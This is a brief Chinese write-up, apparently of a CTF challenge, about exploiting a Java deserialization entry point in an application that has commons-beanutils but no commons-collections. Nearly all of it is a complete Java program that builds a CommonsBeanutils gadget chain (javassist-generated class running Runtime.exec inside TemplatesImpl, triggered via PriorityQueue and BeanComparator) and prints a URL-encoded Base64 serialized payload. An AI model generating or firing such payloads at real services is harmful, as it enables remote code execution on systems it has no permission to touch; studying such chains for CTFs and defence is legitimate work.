看jar包源码
    image.png
    有反序列化入口,然后看pom.xml,只有cb,无cc
    image.png
    考虑P神的无cc依赖的cb链子CommonsBeanutils gadget与不依赖cc的gadget

    1. package com.yq1ng.cb;
    2. import java.io.*;
    3. import java.lang.reflect.Field;
    4. import java.net.URLEncoder;
    5. import java.util.Base64;
    6. import java.util.PriorityQueue;
    7. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    8. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    9. import javassist.ClassClassPath;
    10. import javassist.ClassPool;
    11. import javassist.CtClass;
    12. import org.apache.commons.beanutils.BeanComparator;
    13. /**
    14. * @author ying
    15. * @Description
    16. * @create 2021-11-30 5:27 PM
    17. */
    18. public class cb1 {
    19. public static void main(String[] args) throws Exception{
    20. ClassPool pool = ClassPool.getDefault();
    21. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
    22. CtClass cc = pool.makeClass("Cat");
    23. String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
    24. cc.makeClassInitializer().insertBefore(cmd);
    25. String randomClassName = "EvilCat" + System.nanoTime();
    26. cc.setName(randomClassName);
    27. //cc.writeFile();
    28. cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
    29. byte[] classBytes = cc.toBytecode();
    30. byte[][] targetByteCodes = new byte[][]{classBytes};
    31. TemplatesImpl templates = TemplatesImpl.class.newInstance();
    32. setFieldValue(templates, "_bytecodes", targetByteCodes);
    33. setFieldValue(templates, "_name", "yq1ng");
    34. setFieldValue(templates, "_class", null);
    35. final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
    36. final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    37. // stub data for replacement later
    38. queue.add("1");
    39. queue.add("1");
    40. setFieldValue(comparator, "property", "outputProperties");
    41. setFieldValue(queue, "queue", new Object[]{templates, templates});
    42. ByteArrayOutputStream barr = new ByteArrayOutputStream();
    43. ObjectOutputStream oos = new ObjectOutputStream(barr);
    44. oos.writeObject(queue);
    45. oos.close();
    46. // 不写文件了嗷
    47. System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(barr.toByteArray())));
    48. // ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    49. // ois.readObject();
    50. }
    51. public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
    52. final Field field = getField(obj.getClass(), fieldName);
    53. field.set(obj, value);
    54. }
    55. public static Field getField(final Class<?> clazz, final String fieldName) {
    56. Field field = null;
    57. try {
    58. field = clazz.getDeclaredField(fieldName);
    59. field.setAccessible(true);
    60. }
    61. catch (NoSuchFieldException ex) {
    62. if (clazz.getSuperclass() != null)
    63. field = getField(clazz.getSuperclass(), fieldName);
    64. }
    65. return field;
    66. }
    67. }